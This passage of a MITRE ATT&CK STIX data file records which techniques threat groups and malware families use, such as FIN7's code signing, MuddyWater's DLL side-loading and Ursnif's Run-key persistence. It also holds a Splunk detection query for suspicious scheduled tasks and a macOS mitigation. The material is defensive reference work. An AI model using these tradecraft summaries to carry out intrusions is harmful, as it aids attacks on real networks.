the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.","source_name":"FireEye FIN7 Aug 2018"}],"modified":"2019-06-30T23:13:18.259Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) has signed [Carbanak](https://attack.mitre.org/software/S0030) payloads with legally purchased code signing certificates. [FIN7](https://attack.mitre.org/groups/G0046) has also digitally signed their phishing documents, backdoors and other staging tools to bypass security controls.(Citation: FireEye CARBANAK June 2017)(Citation: FireEye FIN7 Aug 2018)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--081e43bc-3f9e-4110-a1c1-db7396e2ff59","type":"relationship","created":"2020-06-19T20:39:21.802Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2020-06-26T14:33:49.440Z","description":"[Denis](https://attack.mitre.org/software/S0354) ran multiple system checks, looking for processor and register characteristics, to evade emulation and analysis.(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--081f3972-ea6b-4607-8492-4374063da037","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:27:44.633Z","description":"Monitor newly constructed scheduled jobs that may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code.\n\nOn Windows systems, security event ID 4698 (A scheduled task was created) provides information on newly created scheduled tasks. It includes the TaskContent field, which contains an XML blob that captures key information on the scheduled task including the command to be executed.\n\nAnalytic 1 - Scheduled Task Execution\n\n source=\"*WinEventLog:Security\" EventCode=“4698” | where NOT (TaskName IN (\"\\\\Microsoft\\\\Windows\\\\UpdateOrchestrator\\\\Reboot\", \"\\\\Microsoft\\\\Windows\\\\Defrag\\\\ScheduledDefrag\"))\n| search TaskContent=\"powershell.exe\" OR TaskContent=\"cmd.exe\"","relationship_type":"detects","source_ref":"x-mitre-data-component--f42df6f0-6395-4f0c-9376-525a031f00c3","target_ref":"attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0825b101-deff-45cf-867c-af3ccb233744","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Trojan.Hydraq Jan 2010","description":"Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.","url":"https://www.symantec.com/connect/blogs/trojanhydraq-incident"},{"source_name":"Symantec Hydraq Jan 2010","description":"Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99"}],"modified":"2020-02-18T03:48:53.618Z","description":"[Hydraq](https://attack.mitre.org/software/S0203) creates a backdoor through which remote attackers can retrieve system information, such as CPU speed, from Registry keys.(Citation: Symantec Trojan.Hydraq Jan 2010)(Citation: Symantec Hydraq Jan 2010)","relationship_type":"uses","source_ref":"malware--73a4793a-ce55-4159-b2a6-208ef29b326f","target_ref":"attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0829e860-9ea0-43c9-8bfd-55b4236d67af","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 VERMIN Jan 2018","description":"Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/"}],"modified":"2020-03-16T19:50:58.018Z","description":"[VERMIN](https://attack.mitre.org/software/S0257) gathers the local IP address.(Citation: Unit 42 VERMIN Jan 2018)","relationship_type":"uses","source_ref":"malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--082b64f6-cc70-4bc8-a49f-bf0f125883f7","type":"relationship","created":"2020-10-21T17:01:35.599Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Metamorfo Apr 2018","url":"https://www.fireeye.com/blog/threat-research/2018/04/metamorfo-campaign-targeting-brazilian-users.html","description":"Sierra, E., Iglesias, G.. (2018, April 24). Metamorfo Campaigns Targeting Brazilian Users. Retrieved July 30, 2020."},{"source_name":"ESET Casbaneiro Oct 2019","url":"https://www.welivesecurity.com/2019/10/03/casbaneiro-trojan-dangerous-cooking/","description":"ESET Research. (2019, October 3). Casbaneiro: peculiarities of this banking Trojan that affects Brazil and Mexico. Retrieved September 23, 2021."}],"modified":"2021-09-27T19:32:34.723Z","description":"[Metamorfo](https://attack.mitre.org/software/S0455) has searched the compromised system for banking applications.(Citation: FireEye Metamorfo Apr 2018)(Citation: ESET Casbaneiro Oct 2019)","relationship_type":"uses","source_ref":"malware--81c57a96-fc8c-4f91-af8e-63e24c2927c2","target_ref":"attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--08317a2f-0f32-43be-b6e2-04f02c1d85b3","type":"relationship","created":"2022-03-30T14:26:51.845Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.845Z","description":"Firewalls and proxies can inspect URLs for potentially known-bad domains or parameters. They can also do reputation-based analytics on websites and their requested resources such as how old a domain is, who it's registered to, if it's on a known bad list, or how many other users have connected to it before.","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0839d954-ce47-4972-bea2-f4d9a76141af","created":"2022-10-12T14:33:52.820Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"DHS CISA AA22-055A MuddyWater February 2022","description":"FBI, CISA, CNMF, NCSC-UK. (2022, February 24). Iranian Government-Sponsored Actors Conduct Cyber Operations Against Global Government and Commercial Networks. Retrieved September 27, 2022.","url":"https://www.cisa.gov/uscert/ncas/alerts/aa22-055a"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-12T14:46:52.534Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) maintains persistence on victim networks through side-loading dlls to trick legitimate programs into running malware.(Citation: DHS CISA AA22-055A MuddyWater February 2022)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--083cbf6f-82e3-4d78-b18f-aa2d1f566713","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Rancor Unit42 June 2018","description":"Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/"}],"modified":"2018-10-17T00:14:20.652Z","description":"[DDKONG](https://attack.mitre.org/software/S0255) downloads and uploads files on the victim’s machine.(Citation: Rancor Unit42 June 2018)","relationship_type":"uses","source_ref":"malware--d186c1d6-e3ac-4c3d-a534-9ddfeb8c57bb","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0841cd91-1151-411f-befc-0204e3a3eb30","created":"2020-06-19T19:08:40.402Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Unit 42 Valak July 2020","description":"Duncan, B. (2020, July 24). Evolution of Valak, from Its Beginnings to Mass Distribution. Retrieved August 31, 2020.","url":"https://unit42.paloaltonetworks.com/valak-evolution/"},{"source_name":"SentinelOne Valak June 2020","description":"Reaves, J. and Platt, J. (2020, June). Valak Malware and the Connection to Gozi Loader ConfCrew. Retrieved August 31, 2020.","url":"https://assets.sentinelone.com/labs/sentinel-one-valak-i"},{"source_name":"Cybereason Valak May 2020","description":"Salem, E. et al. (2020, May 28). VALAK: MORE THAN MEETS THE EYE . Retrieved June 19, 2020.","url":"https://www.cybereason.com/blog/valak-more-than-meets-the-eye"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-24T21:43:13.392Z","description":"[Valak](https://attack.mitre.org/software/S0476) has the ability to modify the Registry key HKCU\\Software\\ApplicationContainer\\Appsw64 to store information regarding the C2 server and downloads.(Citation: Cybereason Valak May 2020)(Citation: Unit 42 Valak July 2020)(Citation: SentinelOne Valak June 2020)","relationship_type":"uses","source_ref":"malware--ade37ada-14af-4b44-b36c-210eec255d53","target_ref":"attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0841fe7b-657e-47e9-b4c9-ec812043a41c","type":"relationship","created":"2021-01-27T16:57:05.393Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ATT Sidewinder January 2021","url":"https://cdn-cybersecurity.att.com/docs/global-perspective-of-the-sidewinder-apt.pdf","description":"Hegel, T. (2021, January 13). A Global Perspective of the SideWinder APT. Retrieved January 27, 2021."},{"source_name":"Cyble Sidewinder September 2020","url":"https://cybleinc.com/2020/09/26/sidewinder-apt-targets-with-futuristic-tactics-and-techniques/","description":"Cyble. (2020, September 26). SideWinder APT Targets with futuristic Tactics and Techniques. Retrieved January 29, 2021."}],"modified":"2021-04-06T22:07:34.076Z","description":"[Sidewinder](https://attack.mitre.org/groups/G0121) has exploited vulnerabilities to gain execution including CVE-2017-11882 and CVE-2020-0674.(Citation: ATT Sidewinder January 2021)(Citation: Cyble Sidewinder September 2020)","relationship_type":"uses","source_ref":"intrusion-set--3fc023b2-c5cc-481d-9c3e-70141ae1a87e","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--08474c5d-ddca-47b4-a916-d78fe16d7c71","created":"2024-03-08T19:37:32.520Z","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 2 January 2024","description":"Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-08T19:37:32.520Z","description":"[LIGHTWIRE](https://attack.mitre.org/software/S1119) can use HTTP for C2 communications.(Citation: Mandiant Cutting Edge Part 2 January 2024)","relationship_type":"uses","source_ref":"malware--5dc9e8ec-9917-4de7-b8ab-16007899dd80","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--08482fa2-6db3-4c82-8ca0-9d666454f2c6","created":"2022-06-13T15:21:56.254Z","x_mitre_version":"0.1","external_references":[{"source_name":"ClearSky Siamesekitten August 2021","url":"https://www.clearskysec.com/siamesekitten/","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Shark](https://attack.mitre.org/software/S1019) has the ability to upload files from the compromised host over a DNS or HTTP C2 channel.(Citation: ClearSky Siamesekitten August 2021)","modified":"2022-08-31T21:34:36.543Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--99854cc8-f202-4e03-aa0a-4f8a4af93229","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--084ac639-2502-4020-8938-65352349acbb","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT Volgmer Nov 2017","description":"US-CERT. (2017, November 22). Alert (TA17-318B): HIDDEN COBRA – North Korean Trojan: Volgmer. Retrieved December 7, 2017.","url":"https://www.us-cert.gov/ncas/alerts/TA17-318B"}],"modified":"2019-10-15T22:51:03.064Z","description":"[Volgmer](https://attack.mitre.org/software/S0180) can list directories on a victim.(Citation: US-CERT Volgmer Nov 2017)","relationship_type":"uses","source_ref":"malware--495b6cdb-7b5a-4fbc-8d33-e7ef68806d08","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--084fc3bc-5e50-47fb-97d1-75fa00b6ed79","type":"relationship","created":"2019-06-05T17:31:22.345Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Trend Micro. (2014, December 11). PE_URSNIF.A2. Retrieved June 5, 2019.","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/PE_URSNIF.A2?_ga=2.131425807.1462021705.1559742358-1202584019.1549394279","source_name":"TrendMicro PE_URSNIF.A2"},{"source_name":"TrendMicro BKDR_URSNIF.SM","url":"https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/BKDR_URSNIF.SM?_ga=2.129468940.1462021705.1559742358-1202584019.1549394279","description":"Sioting, S. (2013, June 15). BKDR_URSNIF.SM. Retrieved June 5, 2019."}],"modified":"2019-06-24T16:46:20.531Z","description":"[Ursnif](https://attack.mitre.org/software/S0386) has used Registry Run keys to establish automatic execution at system startup.(Citation: TrendMicro PE_URSNIF.A2)(Citation: TrendMicro BKDR_URSNIF.SM)","relationship_type":"uses","source_ref":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0852ea69-52d5-46d0-9847-3af87c8b15dc","type":"relationship","created":"2021-04-13T18:30:41.621Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CarbonBlack Conti July 2020","url":"https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/","description":"Baskin, B. (2020, July 8). TAU Threat Discovery: Conti Ransomware. Retrieved February 17, 2021."},{"source_name":"CrowdStrike Wizard Spider October 2020","url":"https://www.crowdstrike.com/blog/wizard-spider-adversary-update/","description":"Podlosky, A., Hanel, A. et al. (2020, October 16). WIZARD SPIDER Update: Resilient, Reactive and Resolute. Retrieved June 15, 2021."}],"modified":"2021-06-15T19:57:30.299Z","description":"[Conti](https://attack.mitre.org/software/S0575) can enumerate remote open SMB network shares using NetShareEnum().(Citation: CarbonBlack Conti July 2020)(Citation: CrowdStrike Wizard Spider October 2020)","relationship_type":"uses","source_ref":"malware--4dea7d8e-af94-4bfb-afe4-7ff54f59308b","target_ref":"attack-pattern--3489cfc5-640f-4bb3-a103-9137b97de79f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0854ea2c-21b0-49b9-bb90-3653384f2de9","type":"relationship","created":"2021-09-29T13:02:30.914Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Netscout Stolen Pencil Dec 2018","url":"https://asert.arbornetworks.com/stolen-pencil-campaign-targets-academia/","description":"ASERT team. (2018, December 5). STOLEN PENCIL Campaign Targets Academia. Retrieved February 5, 2019."}],"modified":"2021-09-29T13:02:30.914Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has used RDP for direct remote point-and-click access.(Citation: Netscout Stolen Pencil Dec 2018)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0862c2ff-157e-4ccd-973a-2b74cb6c79f1","created":"2022-08-26T21:46:01.584Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ZScaler Squirrelwaffle Sep 2021","description":"Kumar, A., Stone-Gross, Brett. (2021, September 28). Squirrelwaffle: New Loader Delivering Cobalt Strike. Retrieved August 9, 2022.","url":"https://www.zscaler.com/blogs/security-research/squirrelwaffle-new-loader-delivering-cobalt-strike"},{"source_name":"Netskope Squirrelwaffle Oct 2021","description":"Palazolo, G. (2021, October 7). SquirrelWaffle: New Malware Loader Delivering Cobalt Strike and QakBot. Retrieved August 9, 2022.","url":"https://www.netskope.com/blog/squirrelwaffle-new-malware-loader-delivering-cobalt-strike-and-qakbot"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-13T20:39:38.211Z","description":"[Squirrelwaffle](https://attack.mitre.org/software/S1030) has used malicious VBA macros in Microsoft Word documents and Excel spreadsheets that execute an `AutoOpen` subroutine.(Citation: ZScaler Squirrelwaffle Sep 2021)(Citation: Netskope Squirrelwaffle Oct 2021) ","relationship_type":"uses","source_ref":"malware--3c18ad16-9eaf-4649-984e-68551bff0d47","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0866161a-0753-44ab-bb14-a977654ddc68","created":"2022-01-07T15:46:25.197Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta-Axiom","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","url":"https://web.archive.org/web/20230115144216/http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-20T22:03:44.671Z","description":"[Hikit](https://attack.mitre.org/software/S0009) has been spread through spear phishing.(Citation: Novetta-Axiom)","relationship_type":"uses","source_ref":"malware--95047f03-4811-4300-922e-1ba937d53a61","target_ref":"attack-pattern--a62a8db3-f23a-4d8f-afd6-9dbc77e7813b","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--08678e7f-c675-4f85-9593-f06cb90f6e44","created":"2019-10-11T17:33:29.152Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CrowdStrike Carbon Spider August 2021","description":"Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021.","url":"https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/"},{"source_name":"Microsoft Ransomware as a Service","description":"Microsoft. (2022, May 9). Ransomware as a service: Understanding the cybercrime gig economy and how to protect yourself. Retrieved March 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself/"},{"source_name":"SecureList Griffon May 2019","description":"Namestnikov, Y. and Aime, F. (2019, May 8). FIN7.5: the infamous cybercrime rig “FIN7” continues its activities. Retrieved October 11, 2019.","url":"https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/"},{"source_name":"FBI Flash FIN7 USB","description":"The Record. (2022, January 7). FBI: FIN7 hackers target US companies with BadUSB devices to install ransomware. Retrieved January 14, 2022.","url":"https://therecord.media/fbi-fin7-hackers-target-us-companies-with-badusb-devices-to-install-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-12-04T20:48:02.685Z","description":"(Citation: SecureList Griffon May 2019)(Citation: CrowdStrike Carbon Spider August 2021)(Citation: FBI Flash FIN7 USB)(Citation: Microsoft Ransomware as a Service)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"malware--04fc1842-f9e4-47cf-8cb8-5c61becad142","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0869b511-3211-4f90-86fa-d145fa42cc3a","created":"2022-05-05T16:58:52.904Z","x_mitre_version":"0.1","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Gelsemium](https://attack.mitre.org/software/S0666) can use dynamic DNS domain names in C2.(Citation: ESET Gelsemium June 2021)","modified":"2022-05-05T16:58:52.904Z","relationship_type":"uses","source_ref":"malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b","target_ref":"attack-pattern--7bd9c723-2f78-4309-82c5-47cad406572b","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--086ec3ab-803e-4531-a451-15fa9f06297c","type":"relationship","created":"2021-03-24T15:54:34.388Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Apple Developer Doco Hardened Runtime","url":"https://developer.apple.com/documentation/security/hardened_runtime","description":"Apple Inc.. (2021, January 1). Hardened Runtime: Manage security protections and resource access for your macOS apps.. Retrieved March 24, 2021."}],"modified":"2021-04-27T19:55:18.798Z","description":"When System Integrity Protection (SIP) is enabled in macOS, the aforementioned environment variables are ignored when executing protected binaries. Third-party applications can also leverage Apple’s Hardened Runtime, ensuring these environment variables are subject to imposed restrictions.(Citation: Apple Developer Doco Hardened Runtime) Admins can add restrictions to applications by setting the setuid and/or setgid bits, use entitlements, or have a __RESTRICT segment in the Mach-O binary.","relationship_type":"mitigates","source_ref":"course-of-action--2f316f6c-ae42-44fe-adf8-150989e0f6d3","target_ref":"attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0872f093-cfab-4e63-bfde-b7748808c96f","created":"2022-04-13T21:14:56.407Z","x_mitre_version":"0.1","external_references":[{"source_name":"McAfee Lazarus Nov 2020","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/operation-north-star-behind-the-scenes/","description":"Beek, C. (2020, November 5). Operation North Star: Behind The Scenes. Retrieved December 20, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Torisma](https://attack.mitre.org/software/S0678) has used various Windows API calls.(Citation: McAfee Lazarus Nov 2020)","modified":"2022-04-13T21:14:56.407Z","relationship_type":"uses","source_ref":"malware--0715560d-4299-4e84-9e20-6e80ab57e4f2","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--08738197-aa06-4177-acc2-10569c39f423","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Github Koadic","description":"Magius, J., et al. (2017, July 19). Koadic. Retrieved September 27, 2024.","url":"https://github.com/offsecginger/koadic"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-27T18:36:30.833Z","description":"[Koadic](https://attack.mitre.org/software/S0250) performs most of its operations using Windows Script Host (VBScript) and runs arbitrary shellcode .(Citation: Github Koadic)","relationship_type":"uses","source_ref":"tool--c8655260-9f4b-44e3-85e1-6538a5f6e4f4","target_ref":"attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--087721ee-6643-4453-8a76-8768ced7e506","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Dragonfly","description":"Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 